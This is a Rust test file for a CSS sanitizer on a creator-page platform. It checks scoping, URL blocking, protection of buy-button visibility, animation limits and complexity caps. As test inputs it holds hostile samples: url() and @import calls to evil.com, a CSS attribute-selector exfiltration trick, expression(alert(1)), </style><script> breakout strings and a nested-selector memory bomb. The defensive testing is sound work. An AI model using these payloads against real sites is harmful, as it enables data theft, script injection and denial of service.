Skip to main content

max / makenotwork

23.7 KB · 694 lines History Blame Raw
1 //! Tests for [`super`].
2
3 #[test]
4 fn nested_amplification_is_refused_before_it_is_flattened() {
5 // The css soak target's second finding (infra `bd562c12`): 167 bytes of
6 // nested `&` selectors allocated 2.1 GB, because the complexity caps
7 // count the parsed tree additively and flattening multiplies. Measured
8 // growth was ~30x per level -- 145 bytes in, 15 MB out, zero
9 // rejections. Sanitization is render-time, so that is every visitor to
10 // the page, not a slow save.
11 let amp = "&".repeat(30);
12 let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}");
13 assert!(css.len() < 200, "the point is that the input is tiny");
14
15 let (out, rejections) = sanitize_css(&css, "abc", &test_policy());
16 assert!(
17 out.is_empty(),
18 "an unsafe sheet renders as nothing: {out:.200}"
19 );
20 assert!(
21 rejections
22 .iter()
23 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
24 "refusal must be recorded as a complexity limit: {rejections:?}"
25 );
26 }
27
28 #[test]
29 fn ordinary_nesting_is_not_refused() {
30 // The guard is worthless if it refuses real pages. Nesting is standard
31 // CSS and the parser enables it deliberately.
32 for css in [
33 ".card { color: red; &:hover { color: blue } }",
34 "h1,h2,h3 { &:hover, &:focus { color: red } }",
35 ".a { .b { .c { color: red } } }",
36 "@media print { .a { &:hover { color: red } } }",
37 ] {
38 let (out, rejections) = sanitize_css(css, "abc", &test_policy());
39 assert!(
40 !rejections
41 .iter()
42 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
43 "ordinary nesting was refused: {css:?} -> {rejections:?}"
44 );
45 assert!(
46 !out.is_empty(),
47 "ordinary nesting produced nothing: {css:?}"
48 );
49 }
50 }
51
52 fn test_policy() -> UrlPolicy {
53 UrlPolicy::new(
54 "https://u.makenot.work/alice/proj",
55 ["makenot.work".to_string(), "u.makenot.work".to_string()],
56 )
57 .unwrap()
58 }
59 use super::*;
60
61 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
62
63 fn policy() -> UrlPolicy {
64 UrlPolicy::new(
65 "https://u.makenot.work/alice/proj",
66 [
67 "makenot.work".to_string(),
68 "u.makenot.work".to_string(),
69 "cdn.makenot.work".to_string(),
70 ],
71 )
72 .unwrap()
73 }
74
75 fn san(css: &str) -> (String, Vec<Rejection>) {
76 sanitize_css(css, SCOPE, &policy())
77 }
78
79 fn scoped(css: &str) -> String {
80 san(css).0
81 }
82
83 #[test]
84 fn empty_input_is_empty() {
85 assert_eq!(san("").0, "");
86 assert_eq!(san(" ").0, "");
87 }
88
89 #[test]
90 fn scopes_plain_selectors() {
91 let out = scoped("p { color: red }");
92 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
93 }
94
95 #[test]
96 fn neutralizes_body_and_root_escape() {
97 let out = scoped("body { background: blue } :root { color: green }");
98 // Both are confined under the canvas (descendant), matching nothing outside.
99 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
100 assert!(!out.contains("\nbody"));
101 assert!(!out.starts_with("body"));
102 }
103
104 #[test]
105 fn rejects_import() {
106 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
107 assert!(!out.contains("@import"));
108 assert!(!out.contains("evil.com"));
109 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
110 assert!(out.contains("color"));
111 }
112
113 #[test]
114 fn rejects_namespace_and_moz_document() {
115 let (out, rej) = san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
116 assert!(!out.to_lowercase().contains("namespace"));
117 assert!(!out.to_lowercase().contains("moz-document"));
118 assert!(
119 rej.iter()
120 .filter(|r| r.kind == RejectionKind::BlockedAtRule)
121 .count()
122 >= 2
123 );
124 }
125
126 #[test]
127 fn allows_media_and_keyframes_and_fontface() {
128 let out = scoped(
129 "@media (min-width: 600px) { .wide { color: red } } \
130 @keyframes spin { from {opacity:0} to {opacity:1} }",
131 );
132 assert!(out.contains("@media"));
133 assert!(out.contains("@keyframes"));
134 // The media rule's inner selector is scoped...
135 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
136 // ...but @keyframes stays global (not nested under the canvas).
137 assert!(out.contains("@keyframes spin"));
138 }
139
140 #[test]
141 fn external_url_in_background_is_neutralized() {
142 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
143 assert!(!out.contains("evil.com"));
144 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
145 }
146
147 #[test]
148 fn internal_and_relative_urls_kept() {
149 let out =
150 scoped(".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}");
151 assert!(out.contains("/static/p.png"));
152 assert!(out.contains("cdn.makenot.work/x"));
153 }
154
155 #[test]
156 fn attribute_selector_exfiltration_blocked() {
157 // The classic CSS data-exfiltration trick: url() must be dropped.
158 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
159 assert!(!out.contains("evil.com"));
160 }
161
162 #[test]
163 fn mnw_hiding_properties_stripped() {
164 let (out, rej) = san(".mnw-buy { display: none; color: red }");
165 assert!(!normalize(&out).contains("display:none"));
166 assert!(out.contains("color"));
167 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
168 }
169
170 #[test]
171 fn mnw_hiding_via_has_stripped() {
172 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
173 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
174 }
175
176 #[test]
177 fn non_mnw_hiding_is_allowed() {
178 let (out, rej) = san(".myclass { display: none }");
179 assert!(normalize(&out).contains("display:none"));
180 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
181 }
182
183 #[test]
184 fn mnw_widened_hiding_properties_stripped() {
185 // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
186 for decl in [
187 "clip-path: inset(100%)",
188 "font-size: 0",
189 "text-indent: -9999px",
190 "max-height: 0",
191 "clip: rect(0, 0, 0, 0)",
192 ] {
193 let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
194 assert!(
195 rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
196 "expected {decl} to be treated as hiding"
197 );
198 }
199 }
200
201 #[test]
202 fn reduced_motion_appended() {
203 let out = scoped("p { color: red }");
204 assert!(out.contains("prefers-reduced-motion"));
205 assert!(out.trim_end().ends_with('}'));
206 }
207
208 #[test]
209 fn fast_infinite_animation_dropped() {
210 let (out, rej) = san(".spin { animation: spin 1s infinite }");
211 assert!(!normalize(&out).contains("animation:spin"));
212 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
213 }
214
215 #[test]
216 fn slow_infinite_animation_kept() {
217 let (out, rej) = san(".spin { animation: spin 3s infinite }");
218 assert!(out.to_lowercase().contains("animation"));
219 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
220 }
221
222 #[test]
223 fn fast_high_finite_count_animation_dropped() {
224 // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
225 // not just `infinite`.
226 let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
227 assert!(!normalize(&out).contains("animation:spin"));
228 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
229
230 // Explicit property form is caught as well.
231 let (_out2, rej2) = san(
232 ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
233 );
234 assert!(
235 rej2.iter()
236 .any(|r| r.kind == RejectionKind::AnimationBudget)
237 );
238 }
239
240 #[test]
241 fn fast_low_finite_count_animation_kept() {
242 // A handful of iterations at a fast duration is fine, not a strobe.
243 let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
244 assert!(out.to_lowercase().contains("animation"));
245 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
246 }
247
248 #[test]
249 fn expression_function_recorded() {
250 let (out, rej) = san(".x { width: expression(alert(1)) }");
251 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
252 // Behavior must match the "blocked" contract: the output must not contain
253 // a working expression() call or its payload.
254 let lower = out.to_ascii_lowercase();
255 assert!(
256 !lower.contains("expression("),
257 "expression() must be neutralized in output: {out}"
258 );
259 assert!(
260 !lower.contains("alert(1)"),
261 "expression() payload must be stripped: {out}"
262 );
263 }
264
265 #[test]
266 fn brace_injection_cannot_escape_scope() {
267 // A creator trying to break out of the wrapper: the parse round-trip
268 // makes the stray brace a no-op, so nothing lands unscoped.
269 let out = scoped("color: red } body { background: red");
270 assert!(!out.contains("\nbody {"));
271 assert!(!out.contains("} body{"));
272 }
273
274 #[test]
275 fn platform_chrome_is_unreachable_from_creator_css() {
276 // The guarantee behind `templates/custom/_chrome_style.html`. The header
277 // and footer are siblings of the canvas, not descendants, so a creator
278 // rule that names them is still emitted under the canvas and matches
279 // nothing. This holds by structure, not by specificity or cascade layer,
280 // which is why the chrome block needs no !important and no layer of its
281 // own.
282 const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
283 for attempt in [
284 ".mnw-chrome { display: none }",
285 ".mnw-chrome { background: red }",
286 ".mnw-chrome-footer a { color: red }",
287 "body .mnw-chrome { background: red }",
288 "html body .mnw-chrome-brand { font-weight: 100 }",
289 "* { background: red }",
290 ":root .mnw-chrome { background: red }",
291 ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
292 ] {
293 let out = scoped(attempt);
294 for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
295 assert!(
296 line.contains(CANVAS),
297 "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
298 );
299 }
300 // Nothing may be emitted at the top level of the sheet.
301 assert!(
302 !out.trim_start().starts_with(".mnw-chrome"),
303 "unscoped chrome rule from: {attempt}"
304 );
305 }
306 }
307
308 #[test]
309 fn idempotent_on_sanitized_output() {
310 let once = scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
311 let twice = scoped(&once);
312 // Scoping a second time nests under the canvas again but must stay safe:
313 // no external host, no display:none on mnw, reduced-motion present.
314 assert!(!twice.contains("evil.com"));
315 assert!(twice.contains("prefers-reduced-motion"));
316 }
317
318 #[test]
319 fn unsafe_scope_refused() {
320 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
321 assert_eq!(out, "");
322 assert_eq!(rej.len(), 1);
323 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
324 }
325
326 /// Minify sanitized output so each rule is `selector{decls}` on no
327 /// whitespace, for invariant checks.
328 fn minify(css: &str) -> String {
329 StyleSheet::parse(css, parser_options())
330 .unwrap()
331 .to_css(PrinterOptions {
332 minify: true,
333 ..Default::default()
334 })
335 .unwrap()
336 .code
337 }
338
339 #[test]
340 fn universal_and_not_selectors_are_scoped() {
341 // Selectors that classically escape a scope must all end up confined to
342 // the canvas: no rule may begin with a bare html/body/* selector.
343 for css in [
344 "* { color: red }",
345 ":not(.x) { color: red }",
346 "html, body { color: red }",
347 ":root { color: red }",
348 ] {
349 let out = minify(&scoped(css));
350 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
351 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
352 }
353 for bad in ["^*{", "^body{", "^html{"] {
354 let lead = bad.trim_start_matches('^');
355 assert!(
356 !out.starts_with(lead),
357 "leads with unscoped `{lead}`: {out}"
358 );
359 }
360 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
361 }
362 }
363
364 #[test]
365 fn media_wrapped_escape_is_scoped() {
366 let out = scoped("@media screen { body { background: red } }");
367 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
368 }
369
370 #[test]
371 fn style_tag_breakout_via_content_string_is_neutralized() {
372 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
373 // (templates/custom/*.html). The most direct stored-XSS attempt is a
374 // declaration whose value is a string closing the tag and opening a
375 // script. The serializer must never emit a literal `</style>` (or a bare
376 // `<script>`), `<` inside a CSS string token has to come back escaped.
377 for css in [
378 r#".x { content: "</style><script>alert(1)</script>" }"#,
379 r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
380 r#".x { content: "\3c /style\3e <script>" }"#,
381 // url() is dropped (external) but the string form must also be safe.
382 r#".x { background: url("</style><script>x</script>") }"#,
383 ] {
384 let out = scoped(css);
385 let lower = out.to_lowercase();
386 assert!(
387 !lower.contains("</style>"),
388 "literal </style> escaped the block for input `{css}`: {out}"
389 );
390 assert!(
391 !lower.contains("<script>"),
392 "literal <script> escaped the block for input `{css}`: {out}"
393 );
394 }
395 }
396
397 // ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
398 //
399 // The match in `visit_rule` has no wildcard arm, so a future lightningcss
400 // variant fails to COMPILE until triaged, the compiler enforces that no
401 // variant is both blocked and allowed (a variant can't appear in two arms of
402 // one match). These tests pin the RUNTIME behavior the compile-check can't:
403 // that lightningcss parses each of these at-rules into the variant the match
404 // blocks, so they are actually stripped and recorded rather than emitted.
405
406 fn assert_blocked_at_rule(css: &str, marker: &str) {
407 let (out, rej) = san(css);
408 assert!(
409 !out.to_lowercase().contains(marker),
410 "blocked at-rule `{marker}` leaked into output: {out}"
411 );
412 assert!(
413 rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
414 "no BlockedAtRule rejection recorded for `{marker}`"
415 );
416 // A sibling plain rule still survives, only the at-rule is dropped.
417 assert!(out.contains("color"), "sibling style rule was lost: {out}");
418 }
419
420 #[test]
421 fn rejects_container() {
422 assert_blocked_at_rule(
423 "@container (min-width: 100px) { p { background: red } } p { color: red }",
424 "@container",
425 );
426 }
427
428 #[test]
429 fn rejects_scope() {
430 assert_blocked_at_rule(
431 "@scope (.a) { p { background: red } } p { color: red }",
432 "@scope",
433 );
434 }
435
436 #[test]
437 fn rejects_starting_style() {
438 assert_blocked_at_rule(
439 "@starting-style { p { background: red } } p { color: red }",
440 "@starting-style",
441 );
442 }
443
444 #[test]
445 fn rejects_view_transition() {
446 assert_blocked_at_rule(
447 "@view-transition { navigation: auto } p { color: red }",
448 "@view-transition",
449 );
450 }
451
452 // ---- The caps, at their exact boundaries -------------------------------
453 //
454 // A cap tested only far past its limit does not pin the comparison: `>` and
455 // `>=` agree on 5001 rules and disagree on 5000, so the boundary is where
456 // the test has to stand.
457
458 /// `n` single-selector rules: rule-heavy, selector-light.
459 fn n_rules(n: usize) -> String {
460 use std::fmt::Write;
461 let mut css = String::new();
462 for i in 0..n {
463 let _ = write!(css, ".c{i}{{color:red}}");
464 }
465 css
466 }
467
468 /// One rule carrying `n` selectors: selector-heavy, rule-light. Its
469 /// flattening projection is `n` as well, since the projection takes the
470 /// widest rule rather than the sum.
471 fn one_rule_of(n: usize) -> String {
472 let selectors = (0..n)
473 .map(|i| format!(".s{i}"))
474 .collect::<Vec<_>>()
475 .join(",");
476 format!("{selectors}{{color:red}}")
477 }
478
479 fn refused_for_complexity(css: &str) -> bool {
480 let (out, rejections) = san(css);
481 out.is_empty()
482 && rejections
483 .iter()
484 .any(|r| r.kind == RejectionKind::ComplexityLimit)
485 }
486
487 #[test]
488 fn exactly_max_rules_is_accepted() {
489 let (out, rejections) = san(&n_rules(MAX_RULES));
490 assert!(
491 !rejections
492 .iter()
493 .any(|r| r.kind == RejectionKind::ComplexityLimit),
494 "the limit is inclusive: {MAX_RULES} rules are allowed"
495 );
496 assert!(!out.is_empty());
497 }
498
499 #[test]
500 fn one_rule_past_the_cap_is_refused() {
501 // Rule-heavy and nothing else: this sheet's selector count and its
502 // flattening projection both stay far inside their limits, so only the
503 // rule half of the comparison can refuse it.
504 assert!(refused_for_complexity(&n_rules(MAX_RULES + 1)));
505 }
506
507 #[test]
508 fn exactly_max_selectors_is_accepted() {
509 let (out, rejections) = san(&one_rule_of(MAX_SELECTORS));
510 assert!(
511 !rejections
512 .iter()
513 .any(|r| r.kind == RejectionKind::ComplexityLimit),
514 "the limit is inclusive: {MAX_SELECTORS} selectors are allowed, and \
515 the flattening projection of one such rule is exactly the limit too"
516 );
517 assert!(!out.is_empty());
518 }
519
520 #[test]
521 fn the_selector_cap_is_reached_by_breadth_too() {
522 // 200 rules of 51 selectors: 10,200 selectors, which is past the cap,
523 // while rule_count (200) and the projection (51, the widest rule) are
524 // both nowhere near theirs. This is the shape that proves
525 // `selector_count` accumulates at all, since a counter that never
526 // leaves zero is invisible to every other check.
527 use std::fmt::Write;
528 let mut css = String::new();
529 for rule in 0..200 {
530 let selectors = (0..51)
531 .map(|s| format!(".r{rule}s{s}"))
532 .collect::<Vec<_>>()
533 .join(",");
534 let _ = write!(css, "{selectors}{{color:red}}");
535 }
536 assert!(refused_for_complexity(&css));
537 }
538
539 // ---- The flattening projection ----------------------------------------
540
541 /// The nested-`&` bomb from infra `bd562c12`, ~30x per level.
542 fn amplifying_rule() -> String {
543 let amp = "&".repeat(30);
544 format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}")
545 }
546
547 #[test]
548 fn nested_amplification_is_refused_inside_at_rules_too() {
549 // The projection has to descend through the grouping at-rules it allows,
550 // or the bomb is one `@media print` away from being invisible again.
551 let inner = amplifying_rule();
552 for css in [
553 format!("@media print {{ {inner} }}"),
554 format!("@supports (display: grid) {{ {inner} }}"),
555 format!("@layer base {{ {inner} }}"),
556 ] {
557 assert!(
558 refused_for_complexity(&css),
559 "amplification survived its wrapper: {css:.60}"
560 );
561 }
562 }
563
564 #[test]
565 fn the_projection_walks_past_the_first_rule() {
566 // The early return at the foot of the walk is an optimisation, and an
567 // optimisation that fires too early is a hole: a cheap rule first, the
568 // bomb second.
569 let css = format!(".a {{ color: red }} {}", amplifying_rule());
570 assert!(refused_for_complexity(&css));
571 }
572
573 // ---- Parser options ----------------------------------------------------
574
575 #[test]
576 fn nesting_survives_into_the_output() {
577 // `ordinary_nesting_is_not_refused` passes even with nesting disabled,
578 // because the outer declarations still print. Assert the nested rule
579 // itself arrives.
580 let out = scoped(".card { color: red; &:hover { color: blue } }");
581 assert!(
582 out.contains(":hover"),
583 "the nested rule was dropped rather than parsed: {out}"
584 );
585 }
586
587 #[test]
588 fn one_bad_rule_does_not_discard_the_sheet() {
589 // A stray `}` is a hard parse error without error recovery, and this
590 // crate's answer to a fatal parse failure is to render nothing at all.
591 // Recovery is what keeps one typo from blanking a creator's page. It
592 // does not save everything: recovery still discards from the stray
593 // brace onward, so `h1` is gone either way and `p` is the difference.
594 let (out, rejections) = san("p { color: red } } h1 { color: blue }");
595 assert!(
596 !rejections
597 .iter()
598 .any(|r| r.kind == RejectionKind::MalformedCss),
599 "one stray brace discarded the whole sheet: {rejections:?}"
600 );
601 assert!(
602 out.to_lowercase().contains("red"),
603 "the whole sheet was discarded: {out}"
604 );
605 }
606
607 // ---- The item-page entry point -----------------------------------------
608
609 #[test]
610 fn item_css_is_scoped_to_the_item_canvas() {
611 // The only test that enters through `sanitize_item_css`. Without it the
612 // whole function is unobserved: item pages have no HTML of their own,
613 // so a wrong scope here styles nothing and nobody sees an error.
614 let (out, rejections) = sanitize_item_css("p { color: red }", SCOPE, &policy());
615 assert!(rejections.is_empty());
616 assert!(
617 out.contains(&format!(".item-canvas#ic-{SCOPE}")),
618 "item CSS was not scoped to the item canvas: {out:.200}"
619 );
620 }
621
622 // ---- Reaching a system slot through the selector forms -----------------
623
624 #[test]
625 fn hiding_a_system_slot_through_any_and_host_is_stripped() {
626 // `:is`/`:where`/`:not`/`:has` have their own arm and their own test.
627 // These two do not, and a selector form the walk does not recurse into
628 // is a way to hide a buy button.
629 for selector in [":-webkit-any(.mnw-buy)", ":host(.mnw-buy)"] {
630 let (_out, rejections) = san(&format!("{selector} {{ display: none }}"));
631 assert!(
632 rejections
633 .iter()
634 .any(|r| r.kind == RejectionKind::HidingProperty),
635 "{selector} reached a system slot unchecked"
636 );
637 }
638 }
639
640 // ---- The hiding heuristics, on their visible side ----------------------
641
642 #[test]
643 fn the_hiding_thresholds_keep_what_is_still_visible() {
644 // Every one of these is one comparison away from being a hide, and the
645 // suite only ever asserted the hiding side. A guard that also eats
646 // ordinary declarations is a bug creators would hit and we would not.
647 for decl in [
648 // The threshold is `< 0.1`, so a tenth is still visible.
649 "opacity: 0.1",
650 // A transform is not a hide unless it scales to nothing.
651 "transform: translateX(10px)",
652 // Nor is a clip-path unless it clips everything away.
653 "clip-path: inset(0)",
654 // The text-indent trick is large and NEGATIVE.
655 "text-indent: 5px",
656 ] {
657 let (out, rejections) = san(&format!(".mnw-buy {{ {decl} }}"));
658 assert!(
659 !rejections
660 .iter()
661 .any(|r| r.kind == RejectionKind::HidingProperty),
662 "{decl} is visible and was stripped anyway"
663 );
664 assert!(!out.is_empty(), "{decl} produced nothing");
665 }
666 }
667
668 // ---- The strobe guard, at its boundary ---------------------------------
669
670 #[test]
671 fn an_infinite_animation_at_exactly_two_seconds_is_kept() {
672 // The budget is "faster than 2s", so 2s itself is allowed.
673 let (out, rejections) = san(".spin { animation: spin 2s infinite }");
674 assert!(
675 !rejections
676 .iter()
677 .any(|r| r.kind == RejectionKind::AnimationBudget),
678 "2s is the allowed side of the boundary"
679 );
680 assert!(out.to_lowercase().contains("animation"));
681 }
682
683 #[test]
684 fn milliseconds_are_read_as_milliseconds() {
685 // A unit test rather than a sheet, because lightningcss prints
686 // `3000ms` back as `3s` and the ms branch is only reliably reached from
687 // here. Getting the conversion wrong in either direction lets a 500ms
688 // strobe through or eats a three-second animation.
689 assert_eq!(parse_seconds("500ms"), Some(0.5));
690 assert_eq!(parse_seconds("3000ms"), Some(3.0));
691 assert_eq!(parse_seconds("2s"), Some(2.0));
692 assert_eq!(parse_seconds("infinite"), None);
693 }
694